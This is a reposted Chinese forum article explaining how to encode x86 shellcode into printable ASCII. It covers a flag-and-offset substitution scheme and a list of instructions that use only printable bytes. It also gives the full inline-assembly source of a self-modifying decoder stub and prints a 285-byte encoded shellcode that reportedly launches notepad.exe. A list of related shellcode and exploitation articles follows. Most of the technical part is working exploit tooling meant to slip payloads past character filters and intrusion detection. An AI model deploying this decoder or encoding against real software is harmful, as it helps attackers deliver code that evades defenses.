shellcode的一种ascii编码方法

Shellcode编码技术 也就是我们在执行真正的costom_decoder之前将esp调整到nSEH之前,和costom_decoder本身之前,留下足够的opcode空间。因此,我们用0减去re_opcode,就可以得到opcode,为什么用减法而不是加法直接得到opecode呢,以eax为例,sub eax, xx指令是‘\x2d'合法的,而add eax, xx是”\x81\xC0“。为了更好的确定地址,我们将egg hunter放在payload的首,在nSEH处跳到调整edx的代码。所以egg hunter是可行的。 阅读详情
 作 者: waruqi
时 间: 2008-08-18,20:02
链 接: http://bbs.pediy.com/showthread.php?t=70964

初来乍到,发此一篇,请勿见笑 

一、编码:直接替换法
所谓直接替换法,简单的说,就是遇到有效字符则直接输出,遇到无效字符现输出一位标志符(例如:'0'),
然后对其进行编码后输出,解码过程只需逆向操作即可。

ascii 字符集共0xFF个字符,其中有效的图形字符的范围为[0x21, 0x7E],若要将所有无效字符编码为[0x21, 0x7E],
只需加上一个偏移即可,然而无效字符数远大于有效字符数,一个偏移值时无法覆盖所有无效字符的,因此
我把无效字符集平分为两部分,将0x00与0xFF首尾相连,分为[0x21, 0x7E]左边0x51个,[0x21, 0x7E]右边0x51个
如下;
ascii table: |----------|----|-------------------|----|-------------------|----|-------------|
ascii:      0x00      0x20  0x21               0x7E 0x7F                0xCF 0xD0        0xFF
             left-invalid      valid(!= '"' ...)          right-invalid          left-invalid

若为左边无效字符,偏移值为[0x51, 0x5E],即:left_invalid += left_offset, left_invalid %= 256 => valid
若为右边无效字符,偏移值为[0xA3, 0xB0],即:right_invalid += right_offset, right_offset %= 256 => valid
具体选取那个偏移值视具体情况而定。

编码过程:
left_flag:标志字符,判断下一字符解码后是否为左无效字符,此处取:'0'
right_flag:标志字符,判断下一字符解码后是否为右无效字符,此处取:'1'

1. sc[i] ^= xor_byte(ascii);

2. if (sc[i] is left-invalid ascii) 
   => left_flag ('0')
   => sc[i] -= left_offset [0x51, 0x5E]

3. if (sc[i] is right-invalid ascii) 
   => right_flag ('1')
   => sc[i] -= right_offset [0xA3, 0xB0]

4. if (sc[i] is valid ascii) 
   => sc[i]

5. => "01" // end

注:由于标志位已经使用了'0'、'1',那么在判断是否为有效字符时,还需要排除'0'、'1',最后以"01"标志结束。
为了达到更好的编码效果,在编码的第一步中,我对每个字符先进行异或,使无效字符数降到最低,而异或字节通过遍历[0x21, 0x7E]
进行选取。

二、可用的ascii指令
范围:[0x21, 0x7E] && != '"' && != '//' ...

可以通过随机生成有效范围[0x21, 0x7E]内字节序列,然后用IDA反汇编后寻找有效指令。
我从中挑了一些比较有用的指令,如下:

1.数据传送:
push/pop eax...
pusha/popa

2.算术运算:
inc/dec eax...
sub     al, 立即数
sub     byte ptr [eax... + 立即数], al dl...
sub     byte ptr [eax... + 立即数], ah dh...
sub     dword ptr [eax... + 立即数], esi edi
sub     word ptr [eax... + 立即数], si di
sub     al dl..., byte ptr [eax... + 立即数] 
sub     ah dh..., byte ptr [eax... + 立即数]
sub     esi edi, dword ptr [eax... + 立即数]
sub     si di, word ptr [eax... + 立即数]

3.逻辑运算:
and     al, 立即数
and     dword ptr [eax... + 立即数], esi edi
and     word ptr [eax... + 立即数], si di
and     ah dh..., byte ptr [ecx edx... + 立即数]
and     esi edi, dword ptr [eax... + 立即数]
and     si di, word ptr [eax... + 立即数]

xor     al, 立即数
xor     byte ptr [eax... + 立即数], al dl...
xor     byte ptr [eax... + 立即数], ah dh...
xor     dword ptr [eax... + 立即数], esi edi
xor     word ptr [eax... + 立即数], si di
xor     al dl..., byte ptr [eax... + 立即数] 
xor     ah dh..., byte ptr [eax... + 立即数]
xor     esi edi, dword ptr [eax... + 立即数]
xor     si di, word ptr [eax... + 立即数]

4.比较指令:
cmp     al, 立即数
cmp     byte ptr [eax... + 立即数], al dl...
cmp     byte ptr [eax... + 立即数], ah dh...
cmp     dword ptr [eax... + 立即数], esi edi
cmp     word ptr [eax... + 立即数], si di
cmp     al dl..., byte ptr [eax... + 立即数] 
cmp     ah dh..., byte ptr [eax... + 立即数]
cmp     esi edi, dword ptr [eax... + 立即数]
cmp     si di, word ptr [eax... + 立即数]

5.转移指令:
push  56h
pop    eax
cmp    al, 43h
jnz    lable

<=> jmp lable

6.交换al, ah
push  eax
xor    ah, byte ptr [esp]    // ah ^= al
xor    byte ptr [esp], ah    // al ^= ah
xor    ah, byte ptr [esp]    // ah ^= al
pop    eax        

7.清零:
push  44h
pop    eax
sub    al, 44h    ; eax = 0

push  esi
push  esp
pop    eax
xor    [eax], esi  ; esi = 0

三、解码

代码:
// ascii_encoder
#define ascii_left_invalid_flag_    '0'
#define ascii_right_invalid_flag_    '1'
#define ascii_left_offset_        54h
#define ascii_right_offset_1_      46h
#define ascii_right_offset_2_      5Dh    // ascii_right_offset_2_ = ascii_right_offset_1_ + ascii_right_offset_2_
#define ascii_xor_byte_          21h
#define  ascii_base_offset        02h

void decoder()
{
  __asm jmp sc_end
  __asm sc_begin:
  __asm
  {
    //int    3                // note: edx == base address + 1

    /////////////////////////////////////////////////////////////////////////////////
    // base address

    // ascii_base_offset == 09h
    /*
    dec    esp                    // base address: [esp - 8]
    dec    esp
    dec    esp
    dec    esp
    dec    esp              
    dec    esp
    dec    esp
    dec    esp
    pop    edx
    */

    // ascii_base_offset == 05h
    /*
    dec    esp                    // base address: [esp - 4]
    dec    esp
    dec    esp
    dec    esp
    pop    edx
    */

    // ascii_base_offset == 01h
    /*
    pop    edx                    // base address: [esp]
    */

    // ascii_base_offset == 02h
    /*
    pop    edx                    // base address: [esp + 4]
    pop    edx
    */

    // ascii_base_offset == 03h
    /*
    pop    edx                    // base address: [esp + 8]
    pop    edx
    pop    edx
    */

    // ascii_base_offset == 02h
    push  ecx                    // base address: ecx
    pop    edx                    // base address => edx

    /////////////////////////////////////////////////////////////////////////////////
    // padding + n bytes        
    //aaa                      // 37h
    //aaa                      // 37h
    //xor    [eax],  dh              // 30h 30h
    //xor    [eax],  dh
    //xor    [eax],  dh
    //xor    [eax],  dh
    /////////////////////////////////////////////////////////////////////////////////

    /////////////////////////////////////////////////////////////////////////////////
    // shellcode address
    push  esi
    push  esp
    pop    ecx
    xor    dword ptr [ecx], esi          // 0 => [esp]
    push  51h + ascii_base_offset
    pop    esi
    sub    dword ptr [ecx], esi          // [esp] -= shellcode_offset(60h + ascii_base_offset)
    pop    esi                    // -shellcode_offset => esi

    push  edx                    // base_addr => [esp]
    sub    dword ptr [esp], esi        
    pop    esi                    // base_addr + shellcode_offset == shellcode address => esi
    
    push  esi
    pop    edi                    // esi => edi

    /////////////////////////////////////////////////////////////////////////////////
    // code decoder
    push  7Dh
    pop    ecx
    sub    byte ptr [edx + 36h + ascii_base_offset], cl  // decode: cld == FCh == 79h - 7Dh
    // +3 bytes

    sub    byte ptr [edx + 37h + ascii_base_offset], cl  // decode: lod** == ACh == 29h - 7Dh
    // +3 bytes

    sub    byte ptr [edx + 3Ch + ascii_base_offset], cl  // decode: lod** == ACh == 29h - 7Dh
    // +3 bytes

    sub    byte ptr [edx + 47h + ascii_base_offset], cl  // decode: lod** == ACh == 29h - 7Dh
    // +3 bytes

    sub    byte ptr [edx + 4Eh + ascii_base_offset], cl  // decode: sto** == AAh == 27h - 7Dh
    // +3 bytes

    sub    byte ptr [edx + 4Fh + ascii_base_offset], cl  // decode: jmp decode_loop == EBh E6h
    sub    byte ptr [edx + 50h + ascii_base_offset], cl  // decode: EBh == 68h - 7Dh, E6h == 63h - 7Dh
    // +6 bytes

    push  44h
    pop    ecx
    sub    byte ptr [edx + 3Bh + ascii_base_offset], cl  // decode: jnz next == 75h 07h == 75h (4Bh - 44h) 
    // +7 bytes

    sub    byte ptr [edx + 40h + ascii_base_offset], cl  // decode: jz end == 74h 10h == 75h (54h - 44h) 
    // +3 bytes

    sub    byte ptr [edx + 46h + ascii_base_offset], cl  // decode: jnz normal_char == 75h 05h == 75h (49h - 44h) 
    // +3 bytes

    /////////////////////////////////////////////////////////////////////////////////

    _emit  79h                    // cld
    //cld

  decode_loop:
            
    _emit  29h                    // lod**
    //lod**                      // [esi] => al and ++esi 

    cmp    al, ascii_left_invalid_flag_
    
    _emit  75h
    _emit  4Bh                    //jnz next
    //jnz    next

    /////////////////////////////////////////////////////////////////////////////////
    // left-characters decoder
    _emit  29h                    // lod**
    //lod**                      // [esi] => al and ++esi 

    cmp    al, ascii_right_invalid_flag_      // if (al == ascii_right_invalid_flag_)
    _emit  74h
    _emit  54h                    // "01"(end) => jz end
    //jz    end            

    sub    al, ascii_left_offset_          // decode: al -= ascii_left_offset_

    //jmp    normal_char
    //al == ascii - ascii_left_offset_ != ascii != ascii_right_invalid_flag_(acsii)
    /////////////////////////////////////////////////////////////////////////////////
    
  next:
    cmp    al, ascii_right_invalid_flag_

    _emit  75h
    _emit  49h                    //jnz normal_char
    //jnz    normal_char

    /////////////////////////////////////////////////////////////////////////////////
    // right-characters decoder
    _emit  29h                    // lod**
    //lod**                      // [esi] => al and ++esi 

    sub    al, ascii_right_offset_1_
    sub    al, ascii_right_offset_2_        // decode: al -= right_byte_

    /////////////////////////////////////////////////////////////////////////////////

  normal_char:
    xor    al, ascii_xor_byte_            // xor-decoder

    _emit  27h                    // sto**
    //sto**                      // al => [edi]

    _emit  68h
    _emit  63h                    // jmp decode_loop
    //jmp decode_loop

  end:
                            // old shellcode address <= esi, edi

  }

  __asm sc_end:
  unsigned int scLen;
  unsigned char* sc;
  __asm
  {
    lea eax, sc_begin
    mov sc, eax
    lea ebx, sc_end
    sub ebx, eax
    mov scLen, ebx
  }

  unsigned char sc_buf[2048];
  memcpy(sc_buf, sc, scLen);

  printf("decoder:/n%s/n", sc_buf);

  __asm
  {
    lea    ecx, sc_buf
    push  ecx
    ret
  }
}
以下这段是经过编码后的通用shellcode, 
执行后启动的notepad.exe:

// base address => esp => jmp esp
// 285 bytes
char shellcode[]=  
"TZVTY11jS^)1^R)4$^V_j}Y(J8(J9(J>(JI(JP(JQ(JRjDY(J="
"(JB(JHy)<0uK)<1tT,Y<1uI),%,~4;'hc" // decoder
"0)LdQ0db_1S:1S{71SK'191SS31S1oQ8b0,,;;;021eSKZ_;SU"
"TO^1S0XQ:k1gm?1gm3jm1SN0`1SO0nC81qm1SM0t81q0a0Krz1"
"980W0a0941(+0Z0FO30S0I<80:{0)1m0Y$N05e1Se0x80?]1S7"
"p1Se'80?1S?1S80W13eb0Q0,1b1g1g1g0bO1M7j0m1<:X1U0Ct0"
"1"
;


注:编码后的大小为原码的1.3 - 1.5倍左右,还算不错,不过由于本人汇编功底不深,
decoder写得过于庞大,希望大家帮我优化优化,而且这种方法有其局限性,只能进行
字母与符号的混合编码。
手把手教你写纯字符ascii shellcode——最通俗易懂的alphanumeric shellcode生成指南 ascii shellcode : 自动生成shellcode,手写shellcode 阅读详情

相关推荐

Shellex:针对shellcode的转换与处理工具

Shellex Shellex是一款功能强大的C-shellcode转换器,可以帮助广大研究人员将C-shellcode转换为十六进制代码,并且能够在gdb、windbg、radare2、ollydbg、x64dbg、immunity调试器和010编辑器中粘贴和执行shellcode。 在Shellex的帮助下,广大研究人员可以将C-shellcode代码转换为十六进制代码,并且还可以在C编译器中编译时进行转换,整个过程只需要执行Shellex,并将shellcode代码拷贝进去并按下回车键即可。 比如说,

weixin_43977912的博客 2960

十七、Shellcode编码

在很多的漏洞利用场景中,Shellcode的内容会受到限制,这种限制不仅来自存在漏洞的软件自身,在某些情况下,也来自一些基于特征的IDS(网络入侵检测系统)系统。我们先来看看Shellcode会受到哪些限制。 首先,所有的字符串处理函数都会对NULL字节进行限制,通常我们会选择对Shellcode指令进行优化以避免在Shellcode中直接出现NULL字节。 其次,在某些处理流程中可能会限制0x0...

wanhex的博客 3893

从书籍章节探索多态可打印ASCII Shellcode

本章节深入探讨了如何通过多态可打印ASCII字符生成攻击载荷,以及如何绕过缓冲区溢出漏洞中的数据完整性检查。通过使用特定的汇编指令和技巧,攻击者能够创建出既能通过IDS检测又能成功执行的shellcode。

weixin_36149538的博客 367

3.6 shellcode编码技术

编码技术

qq_55202378的博客 1392

shellcode转换字符串

shellcode转换字符串

Linux Component概述和高通component的使用

为了让subsystem按照一定顺序初始化设备才提出来的。subsystem中由很多设备模块,内核加载这些模块的时间不确定。子系统内有些模块是需要依赖其它模块先初始化才能进行自己初始化工作(例如v4l2 subdev和v4l2 video device),这时就要用到component框架。例如v4l2 subdev和v4l2 video device中,谁依赖谁先创建?

lz_1990的专栏 1611

shell脚本编写 hash方法,shell中字符到ascii码或数字的转换

shell脚本编写 hash方法,shell中字符到ascii码或数字的转换。

飘然渡沧海的博客 2183

zemax双透镜公差分析

蒙特卡罗分析: 评估公差的整体影响,模拟过程中产生一系列随机的lens,满足指定的公差,然后再按照标准评估。公差分析,就是在设计了一个理想的系统后,想看看实际生产过程中如果产生公差(误差),系统会坏到什么程度,也就是光学性能受到多大影响。反灵敏度分析:分别对每个公差在性能方面的一个给定的最小允许减少量来计算公差,也就是限制了系统性能的变化,和灵敏度分析方向相反。灵敏度分析对每个公差单独求值,分别计算每个公差操作数的最大、最小、标准值(如上图)所有设计上可能的公差都列出来了。注意要固定透镜的口径。

fendoudecheng的博客 3208

Linux上shell脚本,字符串转ASCII码

  在shell脚本里,将字符串转ASCII码的方法: [keysystem@localhost ~]$ printf "%d" "'A" 65 [keysystem@localhost ~]$ printf "%d" "'0" 48   在shell脚本里,将字符串转10进制转16进制的方法: [keysystem@localhost ~]$ printf "%x...

weixin_30954607的博客 1817

RingBuffer 环形缓冲区----镜像指示位

称作环形缓冲区,也称作环形队列(circular queue),是一种用于表示一个固定尺寸、头尾相连的缓冲区的数据结构,适合缓存数据流。这个宏定义用于计算向下对齐的地址。size和align。size是要对齐的内存大小,align是所需的对齐大小。这个宏返回一个值,该值是size向下对齐到align边界后的地址。例如,假设我们有一个 32 位的系统,并且我们需要将数据对齐到 64 位的边界。我们可以使用在这个例子中,data数组的大小为 10 个元素,我们需要将其对齐到 8 字节边界。宏返回data。

呵呵哒!的博客 2410

避坑指南:CST粒子工作室Track Solver常见的5个参数设置错误

本文深入剖析了CST粒子工作室中Track Solver在电子枪仿真时常见的5个关键参数设置错误,包括空间电荷模型选择、发射源定义、材料边界处理、监视器配置及求解器稳定性设置。通过对比错误与正确做法,帮助用户避开陷阱,确保粒子追踪仿真的物理准确性与数值稳定性,从而获得更精准的电子枪仿真结果。

dapp9builder的博客 491

ASCII码-shellcode的技巧

网上已经有成熟的工具了,所以就简单记录一下工具怎么用吧结合题目来看吧,没有开启NX保护,基本这类型题目九成九都是shellcode题程序一开始会让我们在bss段上输入数据,并且判断输入的字符大小是否小于0x1F,再结合NX保护没开启的操作,很容易可以想到此时输入的就是shellcode,而每个字节的不能小于0x1F,那么使用ASCII码shellcode就可以完全绕过了,因为小于0x1F的都是不可见字符接着再来看题目存在的漏洞,题目存在很明显的UAF漏洞。

Palpitate_LL的博客 746

【C2000系列DSP的Bootloader详解】实现过程、流程图与示例代码

C2000 Bootloader 的核心逻辑可概括为 “初始化→选模式→加载程序→校验→跳转” 五步。对于小白来说,无需纠结底层寄存器配置(驱动库已封装),重点理解 “启动流程” 和 “数据传输 + 校验” 的核心思想即可。 通过本文的流程图和示例代码,相信你已经掌握了 C2000 Bootloader 的核心原理。实际开发中,可基于 TI 提供的 Bootloader 示例(C2000Ware 中自带)进行修改,快速适配自己的硬件和应用场景。

昔时扬尘处 377

纯ascii的shellcode编写

上次ssctf决赛出现了一次纯ascii的shellcode PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIXYJKMK9ICD6DJT019BOB47P1YYE4LK2Q6PLK2VDLLKD6ELLKQVDHLK3N10LKWFGH0OR8SEJS1IS1N1KOM13PLKRLFD7TLKW5WLLK0TGXRXS1Z

ling 7850

EDEM-fluent耦合时出现的问题及摸索出的解决办法及DPM颗粒信息导出

EDEM-fluent耦合时出现的问题及摸索出的解决办法及DPM颗粒信息导出

zheaa的博客 5753

详解vit_base_patch16_224

ViT-Base模型的核心思想是将输入图像划分为多个小块(patches),并使用Transformer架构来处理这些小块。具体来说,ViT-Base使用16x16像素的patch大小,输入图像的尺寸为224x224像素,这意味着每张图像将被划分为49个patch(22416×22416=14×14=19616224​×16224​=14×14=196个patch)。ViT-Base(ViT-B/16)通过将图像处理任务转化为序列处理任务。

具身机器人和通用AI 3233

ShellCode

关于利用图片Alpha通道隐写术隐藏Shellcode的攻击 Alpha通道,又叫做阿尔法通道,是指一张图片的透明和半透明度。例如:一个使用16位存储的图片,可能5位表示红色,5位表示绿色,5位表示蓝色,1位是阿尔法。在这种情况下,它要么表示透明要么不是。一个使用32位存储的图片,每8位表示红绿蓝,和阿尔法通道。在这种情况下,就不光可以表示透明还是不透明,阿尔法通道还可以表示256级的半透明度。 一般alpha值取0~1之间。通道分为三种通道。也就是有三个作用。 Alpha通道与Rgb图片为乘法运算即:图片

weixin_46661122的博客 1269

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

PWN练习之ret2shellcode

ret2shellcode是一种通过注入并执行shellcode来获取系统权限的攻击技术。攻击者将shellcode写入内存(如栈或bss段),并通过栈溢出覆盖返回地址,使其跳转到shellcode执行。

m0_57882332的博客 1万+

lwip-2.0.3

lwip是瑞典计算机科学院(SICS)的Adam Dunkels 开发的一个小型开源的TCP/IP协议栈。实现的重点是在保持TCP协议主要功能的基础上减少对RAM 的占用。

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

SeedLab——Shellcode Development Lab

通常情况下,为了将这个字符串推入堆栈,我们需要使字符串的长度为 4 的倍数,所以我们会将字符串转换为 /bin////bash。然而,对于此任务,我们不能向字符串中添加任何多余的 /,也就是说,命令的长度必须是 9 个字节(/bin/bash)。将args的地址加载到ecx寄存器,envs的地址加载到edx寄存器,path的地址已经存在ebx寄存器中了。ebx寄存器为传递的参数一即path的地址,ecx寄存器为传递的参数二即args的地址,edx寄存器为传递的参数三即envs的地址。然后传递envs参数。

Aft3rGl0w的博客 2296

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

CTF中pwn shellcode题目

下面是一些shellcode代码和绕过技巧。一些只给payload或者exp一把梭首先给出两个常用shellcode仓库,可以检索需要的shellcode。

saulgoodman的博客 1239

shellcode编码

shellcode编码 将每个字符的ASCII码转换为十六进制,并在每个十六进制码之前添加“\x”。 I love you Jack \x49\x20\x6c\x6f\x76\x65\x20\x79\x6f\x75\x20\x4a\x61\x63\x6b

qq_38989921的博客 838
上一篇: new:一种DLL插入方案
下一篇: 解說 NTcmd 的工作方式
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值